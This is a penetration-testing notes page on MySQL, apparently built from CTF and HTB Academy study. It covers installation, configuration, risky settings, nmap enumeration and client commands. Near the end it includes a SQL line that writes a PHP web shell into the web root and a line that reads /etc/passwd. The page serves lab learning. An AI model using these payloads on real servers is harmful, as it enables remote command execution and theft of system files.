> For the complete documentation index, see [llms.txt](https://csbygb.gitbook.io/pentips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://csbygb.gitbook.io/pentips/networking-protocols-and-network-pentest/mysql.md).

# MYSQL

> *Source CTF and HTB Academy*

* Usually on port 3306

MySQL is an open-source SQL relational database management system developed and supported by Oracle. A database is simply a structured collection of data organized for easy use and retrieval. The database system can quickly process large amounts of data with high performance.

* `sudo apt install mysql-server -y` install mysql server
* [See here for help with install](https://dev.mysql.com/doc/mysql-apt-repo-quick-guide/en/#apt-repo-fresh-install)
* On Parrot I had to
  * sudo apt install mariadb-client
  * sudo apt install mariadb-server

## SQL language

* [SQL Introduction on w3Schools](https://www.w3schools.com/sql/sql_intro.asp)

## Default Configuration

* `cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'`

## Dangerous Settings

| Settings           | Description                                                                                                  |
| ------------------ | ------------------------------------------------------------------------------------------------------------ |
| `user`             | Sets which user the MySQL service will run as.                                                               |
| `password`         | Sets the password for the MySQL user.                                                                        |
| `admin_address`    | The IP address on which to listen for TCP/IP connections on the administrative network interface.            |
| `debug`            | This variable indicates the current debugging settings                                                       |
| `sql_warnings`     | This variable controls whether single-row INSERT statements produce an information string if warnings occur. |
| `secure_file_priv` | This variable is used to limit the effect of data import and export operations.                              |

## Enumeration

### Nmap

* `sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*`

### Interaction with the server

* `mysql -u root -h 10.129.14.132`
* `mysql -u root -pP4SSw0rd -h 10.129.14.128`
* `show databases;` list databases
* `select version();` show the version
* `use <database>;` select a database
* `show tables;` list the tables
* `show columns from <table>;`
* `select * from <table>;`
* `select * from <table> where <column> = "<string>";` Example:`select host, unique_users from host_summary;`
* `SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';` write local files
* `select LOAD_FILE("/etc/passwd");` read local files


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